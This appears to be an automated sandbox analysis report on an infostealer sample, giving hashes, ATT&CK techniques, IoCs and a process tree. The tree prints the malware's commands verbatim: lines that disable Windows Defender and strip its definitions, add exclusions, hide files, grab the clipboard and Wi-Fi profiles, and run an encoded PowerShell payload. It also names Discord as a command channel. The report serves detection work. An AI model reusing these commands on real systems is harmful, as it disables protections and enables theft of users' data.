fd7baa7e1e9628cec52b0137fc21cfc2f80d5a61787020c434fb7e6a89ddefca

Analysis

max time kernel
150s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
19/01/2025, 19:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
d2wDTIm.exe
Size 7.5MB
Sample250119-yc45fasncs
SHA256 fd7baa7e1e9628cec52b0137fc21cfc2f80d5a61787020c434fb7e6a89ddefca
MD5 abd4f1e520621cf1deceb5a651481486
SHA1 2f846c3de7050c367bade25e0ba20d6ebe1369f9
SHA512 8f414601bf9a18ce106f147bb5676a5fe2c2a1c110ccd0a76c4953e9de78c05738652fe6e1a717f0550e01aa9b8886296c38df86360fff8666688a17eee7f9d9
SSDEEP 196608:ndSdzr2MwlirTB4p5jA60eyWpzaYJ2ge6fwbthSjnE5su:nOn2xiafjV07WgYW64F5
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4848	powershell.exe
2024	powershell.exe
2800	powershell.exe
1620	powershell.exe
2044	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Windows.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	d2wDTIm.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
2684	cmd.exe
2412	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
2576	steam.exe
3708	Windows.exe
1380	Windows.exe
4496	rar.exe

Loads dropped DLL 17 IoCs

pid	Process
1380	Windows.exe
1380	Windows.exe
1380	Windows.exe
1380	Windows.exe
1380	Windows.exe
1380	Windows.exe
1380	Windows.exe
1380	Windows.exe
1380	Windows.exe
1380	Windows.exe
1380	Windows.exe
1380	Windows.exe
1380	Windows.exe
1380	Windows.exe
1380	Windows.exe
1380	Windows.exe
1380	Windows.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
25	discord.com
26	discord.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
15	ip-api.com
23	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 5 IoCs

discovery

Process Discovery

T1057

pid	Process
628	tasklist.exe
3348	tasklist.exe
3884	tasklist.exe
400	tasklist.exe
2996	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4396	cmd.exe

UPX packed file 56 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000a000000023bb0-47.dat	upx
behavioral2/memory/1380-51-0x00007FFD9A9B0000-0x00007FFD9B015000-memory.dmp	upx
behavioral2/files/0x000a000000023baa-74.dat	upx
behavioral2/files/0x000a000000023ba9-73.dat	upx
behavioral2/files/0x000a000000023ba8-72.dat	upx
behavioral2/files/0x000a000000023ba7-71.dat	upx
behavioral2/files/0x000a000000023ba6-70.dat	upx
behavioral2/files/0x000a000000023ba5-69.dat	upx
behavioral2/files/0x000a000000023ba2-82.dat	upx
behavioral2/memory/1380-85-0x00007FFDA94B0000-0x00007FFDA94D5000-memory.dmp	upx
behavioral2/memory/1380-87-0x00007FFDA8F30000-0x00007FFDA90AF000-memory.dmp	upx
behavioral2/memory/1380-84-0x00007FFDA94E0000-0x00007FFDA94F9000-memory.dmp	upx
behavioral2/memory/1380-81-0x00007FFDA9690000-0x00007FFDA96BB000-memory.dmp	upx
behavioral2/files/0x000b000000023bb4-86.dat	upx
behavioral2/files/0x000a000000023ba4-68.dat	upx
behavioral2/files/0x000a000000023bbc-66.dat	upx
behavioral2/files/0x000b000000023bb3-64.dat	upx
behavioral2/files/0x000a000000023baf-61.dat	upx
behavioral2/files/0x000a000000023bad-60.dat	upx
behavioral2/memory/1380-75-0x00007FFDB0920000-0x00007FFDB092F000-memory.dmp	upx
behavioral2/files/0x000a000000023bae-58.dat	upx
behavioral2/memory/1380-57-0x00007FFDA96C0000-0x00007FFDA96E7000-memory.dmp	upx
behavioral2/files/0x000a000000023ba3-55.dat	upx
behavioral2/memory/1380-96-0x00007FFDA9450000-0x00007FFDA9483000-memory.dmp	upx
behavioral2/memory/1380-95-0x00007FFDB0910000-0x00007FFDB091D000-memory.dmp	upx
behavioral2/memory/1380-91-0x00007FFDA9490000-0x00007FFDA94A9000-memory.dmp	upx
behavioral2/memory/1380-97-0x00007FFD9A470000-0x00007FFD9A9A3000-memory.dmp	upx
behavioral2/memory/1380-99-0x00007FFDA8E60000-0x00007FFDA8F2E000-memory.dmp	upx
behavioral2/memory/1380-104-0x00007FFDAD490000-0x00007FFDAD49D000-memory.dmp	upx
behavioral2/memory/1380-103-0x00007FFDA9370000-0x00007FFDA9384000-memory.dmp	upx
behavioral2/memory/1380-106-0x00007FFDA71A0000-0x00007FFDA7253000-memory.dmp	upx
behavioral2/memory/1380-105-0x00007FFD9A9B0000-0x00007FFD9B015000-memory.dmp	upx
behavioral2/memory/1380-126-0x00007FFDA96C0000-0x00007FFDA96E7000-memory.dmp	upx
behavioral2/memory/1380-192-0x00007FFDA94B0000-0x00007FFDA94D5000-memory.dmp	upx
behavioral2/memory/1380-202-0x00007FFD9A470000-0x00007FFD9A9A3000-memory.dmp	upx
behavioral2/memory/1380-201-0x00007FFDA9450000-0x00007FFDA9483000-memory.dmp	upx
behavioral2/memory/1380-227-0x00007FFD9A9B0000-0x00007FFD9B015000-memory.dmp	upx
behavioral2/memory/1380-242-0x00007FFDA8E60000-0x00007FFDA8F2E000-memory.dmp	upx
behavioral2/memory/1380-233-0x00007FFDA8F30000-0x00007FFDA90AF000-memory.dmp	upx
behavioral2/memory/1380-363-0x00007FFD9A9B0000-0x00007FFD9B015000-memory.dmp	upx
behavioral2/memory/1380-369-0x00007FFDA8F30000-0x00007FFDA90AF000-memory.dmp	upx
behavioral2/memory/1380-378-0x00007FFD9A9B0000-0x00007FFD9B015000-memory.dmp	upx
behavioral2/memory/1380-400-0x00007FFDA8E60000-0x00007FFDA8F2E000-memory.dmp	upx
behavioral2/memory/1380-399-0x00007FFDA8F30000-0x00007FFDA90AF000-memory.dmp	upx
behavioral2/memory/1380-398-0x00007FFDA94B0000-0x00007FFDA94D5000-memory.dmp	upx
behavioral2/memory/1380-397-0x00007FFDA94E0000-0x00007FFDA94F9000-memory.dmp	upx
behavioral2/memory/1380-396-0x00007FFDA9690000-0x00007FFDA96BB000-memory.dmp	upx
behavioral2/memory/1380-395-0x00007FFDB0920000-0x00007FFDB092F000-memory.dmp	upx
behavioral2/memory/1380-394-0x00007FFDA96C0000-0x00007FFDA96E7000-memory.dmp	upx
behavioral2/memory/1380-389-0x00007FFD9A470000-0x00007FFD9A9A3000-memory.dmp	upx
behavioral2/memory/1380-401-0x00007FFDB0910000-0x00007FFDB091D000-memory.dmp	upx
behavioral2/memory/1380-387-0x00007FFDA9450000-0x00007FFDA9483000-memory.dmp	upx
behavioral2/memory/1380-393-0x00007FFDA71A0000-0x00007FFDA7253000-memory.dmp	upx
behavioral2/memory/1380-391-0x00007FFDAD490000-0x00007FFDAD49D000-memory.dmp	upx
behavioral2/memory/1380-390-0x00007FFDA9370000-0x00007FFDA9384000-memory.dmp	upx
behavioral2/memory/1380-385-0x00007FFDA9490000-0x00007FFDA94A9000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	steam.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4624	PING.EXE
3440	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4320	cmd.exe
5012	netsh.exe

Detects videocard installed 1 TTPs 3 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4348	WMIC.exe
2188	WMIC.exe
3036	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2952	systeminfo.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4624	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe
2576	steam.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4872	WMIC.exe
Token: SeSecurityPrivilege	4872	WMIC.exe
Token: SeTakeOwnershipPrivilege	4872	WMIC.exe
Token: SeLoadDriverPrivilege	4872	WMIC.exe
Token: SeSystemProfilePrivilege	4872	WMIC.exe
Token: SeSystemtimePrivilege	4872	WMIC.exe
Token: SeProfSingleProcessPrivilege	4872	WMIC.exe
Token: SeIncBasePriorityPrivilege	4872	WMIC.exe
Token: SeCreatePagefilePrivilege	4872	WMIC.exe
Token: SeBackupPrivilege	4872	WMIC.exe
Token: SeRestorePrivilege	4872	WMIC.exe
Token: SeShutdownPrivilege	4872	WMIC.exe
Token: SeDebugPrivilege	4872	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4872	WMIC.exe
Token: SeRemoteShutdownPrivilege	4872	WMIC.exe
Token: SeUndockPrivilege	4872	WMIC.exe
Token: SeManageVolumePrivilege	4872	WMIC.exe
Token: 33	4872	WMIC.exe
Token: 34	4872	WMIC.exe
Token: 35	4872	WMIC.exe
Token: 36	4872	WMIC.exe
Token: SeDebugPrivilege	628	tasklist.exe
Token: SeIncreaseQuotaPrivilege	4872	WMIC.exe
Token: SeSecurityPrivilege	4872	WMIC.exe
Token: SeTakeOwnershipPrivilege	4872	WMIC.exe
Token: SeLoadDriverPrivilege	4872	WMIC.exe
Token: SeSystemProfilePrivilege	4872	WMIC.exe
Token: SeSystemtimePrivilege	4872	WMIC.exe
Token: SeProfSingleProcessPrivilege	4872	WMIC.exe
Token: SeIncBasePriorityPrivilege	4872	WMIC.exe
Token: SeCreatePagefilePrivilege	4872	WMIC.exe
Token: SeBackupPrivilege	4872	WMIC.exe
Token: SeRestorePrivilege	4872	WMIC.exe
Token: SeShutdownPrivilege	4872	WMIC.exe
Token: SeDebugPrivilege	4872	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4872	WMIC.exe
Token: SeRemoteShutdownPrivilege	4872	WMIC.exe
Token: SeUndockPrivilege	4872	WMIC.exe
Token: SeManageVolumePrivilege	4872	WMIC.exe
Token: 33	4872	WMIC.exe
Token: 34	4872	WMIC.exe
Token: 35	4872	WMIC.exe
Token: 36	4872	WMIC.exe
Token: SeDebugPrivilege	4848	powershell.exe
Token: SeDebugPrivilege	1620	powershell.exe
Token: SeIncreaseQuotaPrivilege	2188	WMIC.exe
Token: SeSecurityPrivilege	2188	WMIC.exe
Token: SeTakeOwnershipPrivilege	2188	WMIC.exe
Token: SeLoadDriverPrivilege	2188	WMIC.exe
Token: SeSystemProfilePrivilege	2188	WMIC.exe
Token: SeSystemtimePrivilege	2188	WMIC.exe
Token: SeProfSingleProcessPrivilege	2188	WMIC.exe
Token: SeIncBasePriorityPrivilege	2188	WMIC.exe
Token: SeCreatePagefilePrivilege	2188	WMIC.exe
Token: SeBackupPrivilege	2188	WMIC.exe
Token: SeRestorePrivilege	2188	WMIC.exe
Token: SeShutdownPrivilege	2188	WMIC.exe
Token: SeDebugPrivilege	2188	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2188	WMIC.exe
Token: SeRemoteShutdownPrivilege	2188	WMIC.exe
Token: SeUndockPrivilege	2188	WMIC.exe
Token: SeManageVolumePrivilege	2188	WMIC.exe
Token: 33	2188	WMIC.exe
Token: 34	2188	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4456 wrote to memory of 2576	4456	d2wDTIm.exe	82
PID 4456 wrote to memory of 2576	4456	d2wDTIm.exe	82
PID 4456 wrote to memory of 2576	4456	d2wDTIm.exe	82
PID 4456 wrote to memory of 3708	4456	d2wDTIm.exe	84
PID 4456 wrote to memory of 3708	4456	d2wDTIm.exe	84
PID 3708 wrote to memory of 1380	3708	Windows.exe	85
PID 3708 wrote to memory of 1380	3708	Windows.exe	85
PID 1380 wrote to memory of 4492	1380	Windows.exe	86
PID 1380 wrote to memory of 4492	1380	Windows.exe	86
PID 1380 wrote to memory of 2688	1380	Windows.exe	87
PID 1380 wrote to memory of 2688	1380	Windows.exe	87
PID 1380 wrote to memory of 1724	1380	Windows.exe	89
PID 1380 wrote to memory of 1724	1380	Windows.exe	89
PID 1380 wrote to memory of 2984	1380	Windows.exe	92
PID 1380 wrote to memory of 2984	1380	Windows.exe	92
PID 2984 wrote to memory of 4872	2984	cmd.exe	94
PID 2984 wrote to memory of 4872	2984	cmd.exe	94
PID 1724 wrote to memory of 628	1724	cmd.exe	95
PID 1724 wrote to memory of 628	1724	cmd.exe	95
PID 4492 wrote to memory of 1620	4492	cmd.exe	96
PID 4492 wrote to memory of 1620	4492	cmd.exe	96
PID 2688 wrote to memory of 4848	2688	cmd.exe	97
PID 2688 wrote to memory of 4848	2688	cmd.exe	97
PID 1380 wrote to memory of 3912	1380	Windows.exe	99
PID 1380 wrote to memory of 3912	1380	Windows.exe	99
PID 3912 wrote to memory of 4308	3912	cmd.exe	101
PID 3912 wrote to memory of 4308	3912	cmd.exe	101
PID 1380 wrote to memory of 1152	1380	Windows.exe	102
PID 1380 wrote to memory of 1152	1380	Windows.exe	102
PID 1152 wrote to memory of 1144	1152	cmd.exe	104
PID 1152 wrote to memory of 1144	1152	cmd.exe	104
PID 1380 wrote to memory of 3712	1380	Windows.exe	105
PID 1380 wrote to memory of 3712	1380	Windows.exe	105
PID 3712 wrote to memory of 2188	3712	cmd.exe	107
PID 3712 wrote to memory of 2188	3712	cmd.exe	107
PID 1380 wrote to memory of 2164	1380	Windows.exe	108
PID 1380 wrote to memory of 2164	1380	Windows.exe	108
PID 2164 wrote to memory of 3036	2164	cmd.exe	110
PID 2164 wrote to memory of 3036	2164	cmd.exe	110
PID 1380 wrote to memory of 4396	1380	Windows.exe	111
PID 1380 wrote to memory of 4396	1380	Windows.exe	111
PID 1380 wrote to memory of 3844	1380	Windows.exe	112
PID 1380 wrote to memory of 3844	1380	Windows.exe	112
PID 1380 wrote to memory of 4324	1380	Windows.exe	115
PID 1380 wrote to memory of 4324	1380	Windows.exe	115
PID 1380 wrote to memory of 3852	1380	Windows.exe	116
PID 1380 wrote to memory of 3852	1380	Windows.exe	116
PID 1380 wrote to memory of 4052	1380	Windows.exe	119
PID 1380 wrote to memory of 4052	1380	Windows.exe	119
PID 1380 wrote to memory of 2684	1380	Windows.exe	120
PID 1380 wrote to memory of 2684	1380	Windows.exe	120
PID 1380 wrote to memory of 5080	1380	Windows.exe	122
PID 1380 wrote to memory of 5080	1380	Windows.exe	122
PID 1380 wrote to memory of 3876	1380	Windows.exe	124
PID 1380 wrote to memory of 3876	1380	Windows.exe	124
PID 1380 wrote to memory of 4320	1380	Windows.exe	126
PID 1380 wrote to memory of 4320	1380	Windows.exe	126
PID 1380 wrote to memory of 4632	1380	Windows.exe	128
PID 1380 wrote to memory of 4632	1380	Windows.exe	128
PID 1380 wrote to memory of 2648	1380	Windows.exe	130
PID 1380 wrote to memory of 2648	1380	Windows.exe	130
PID 1380 wrote to memory of 688	1380	Windows.exe	132
PID 1380 wrote to memory of 688	1380	Windows.exe	132
PID 4396 wrote to memory of 2732	4396	cmd.exe	133

Views/modifies file attributes 1 TTPs 3 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2732	attrib.exe
4380	attrib.exe
4492	attrib.exe

C:\Users\Admin\AppData\Local\Temp\d2wDTIm.exe
"C:\Users\Admin\AppData\Local\Temp\d2wDTIm.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4456
- C:\Users\Admin\AppData\Local\Temp\steam.exe
  "C:\Users\Admin\AppData\Local\Temp\steam.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:2576
- C:\Users\Admin\AppData\Local\Temp\Windows.exe
  "C:\Users\Admin\AppData\Local\Temp\Windows.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3708
- - C:\Users\Admin\AppData\Local\Temp\Windows.exe
    "C:\Users\Admin\AppData\Local\Temp\Windows.exe"
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:1380
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Windows.exe'"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4492
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Windows.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1620
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2688
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4848
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1724
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:628
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2984
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4872
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3912
    - - C:\Windows\system32\reg.exe
        
        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
        5⤵
        
        PID:4308
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1152
    - - C:\Windows\system32\reg.exe
        
        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
        5⤵
        
        PID:1144
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3712
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        5⤵
        Detects videocard installed
        Suspicious use of AdjustPrivilegeToken
        
        PID:2188
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2164
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        5⤵
        Detects videocard installed
        
        PID:3036
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Windows.exe""
      4⤵
      Hide Artifacts: Hidden Files and Directories
      Suspicious use of WriteProcessMemory
      PID:4396
    - - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Windows.exe"
        5⤵
        Views/modifies file attributes
        
        PID:2732
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏ .scr'"
      4⤵
      PID:3844
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏ .scr'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2044
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      PID:4324
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Enumerates processes with tasklist
        
        PID:3348
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      PID:3852
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Enumerates processes with tasklist
        
        PID:3884
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
      4⤵
      PID:4052
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
        5⤵
        
        PID:1812
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
      4⤵
      Clipboard Data
      PID:2684
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:2412
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      PID:5080
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Enumerates processes with tasklist
        
        PID:400
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      PID:3876
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:4700
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:4320
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profile
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:5012
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "systeminfo"
      4⤵
      PID:4632
    - - C:\Windows\system32\systeminfo.exe
        
        systeminfo
        5⤵
        Gathers system information
        
        PID:2952
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
      4⤵
      PID:2648
    - - C:\Windows\system32\reg.exe
        
        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
        5⤵
        
        PID:4200
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0A